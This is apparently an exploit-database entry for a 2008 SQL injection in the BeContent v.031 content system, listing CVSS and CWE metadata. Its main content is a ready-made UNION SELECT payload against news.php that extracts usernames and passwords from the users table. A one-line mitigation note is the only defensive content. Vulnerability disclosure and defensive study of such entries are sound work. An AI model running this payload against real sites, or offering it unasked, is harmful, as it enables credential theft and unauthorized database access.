vendor:
BeContent
by:
Cr@zy_King
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: BeContent
Affected Version From: v.031
Affected Version To: v.031
Patch Exists: YES
Related CWE: N/A
CPE: a:becontent:becontent
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008
BeContent v.031 (id) Remote Sql Vuln.
news.php?id=-3+union+select+1,concat_ws(0x3a,username,password),3,4+from+users
Mitigation:
Input validation and sanitization
